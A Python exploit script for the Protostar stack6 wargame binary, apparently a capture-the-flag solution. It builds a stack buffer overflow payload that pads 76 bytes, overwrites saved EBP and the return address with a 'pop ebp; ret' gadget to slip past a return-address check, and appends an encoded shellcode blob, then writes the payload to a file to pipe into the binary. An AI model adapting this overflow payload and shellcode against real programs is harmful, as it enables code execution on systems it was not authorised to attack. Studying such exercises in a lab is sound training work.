#!/usr/bin/python
# 
# solution avoids the validation of the return address by returning
# to a "pop %ebp; ret" gadget
# we place our stack address at the top of the stack and then jmp to the
# gadget it then returns to our stack shellcode
# turns out this is the solution for stack7 too

import subprocess
import struct

jmpto = 0x08048453 	# pop ebp; ret
setebp = 0xbffff7c0	# 

shellcode =  ""
shellcode += "\x2f\x42\x27\x2f\x49\xf9\xf8\x3f\x99\x98\x27\x4b\x3f"
shellcode += "\x37\x40\x4a\x6a\x14\x59\xd9\xee\xd9\x74\x24\xf4\x5b"
shellcode += "\x81\x73\x13\xa0\x09\xe0\xf8\x83\xeb\xfc\xe2\xf4\x91"
shellcode += "\xd2\x17\x1b\xf3\x4a\xb3\x92\xa2\x80\x01\x48\xc6\xc4"
shellcode += "\x60\xa3\xfe\x5b\x88\xfa\xa0\x18\xbc\x92\xb0\x58\xb0"
shellcode += "\x71\x41\x63\x86\xa0\x6d\x89\x69\xb9\xa4\xba\xe4\x48"
shellcode += "\xc6\xc4\x60\xbb\x10\x6f\x2d\x78\x33\x50\x8a\xc7\xf8"
shellcode += "\xc4\x60\xb1\xd9\xf1\x88\xd7\x8f\x7a\x88\x90\x8f\x6b"
shellcode += "\x89\x96\x29\xea\xb0\xab\x29\xe8\x50\xf3\x6d\x89\xe0"
shellcode += "\xf8"

# return the little endian byte ordering for x
def p32(x):
	return struct.pack('<I',x)

#payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae"

payload = "A" * 76 + p32(setebp) + p32(jmpto) + p32(setebp+8) + p32(setebp+8) + shellcode

print "[*] len(payload): " + str(len(payload))

print "[*] payload written to stack6.payload"
open('stack6.payload','wb').write(payload)

print "[*] run /opt/protostar/bin/stack6 < stack6.payload"
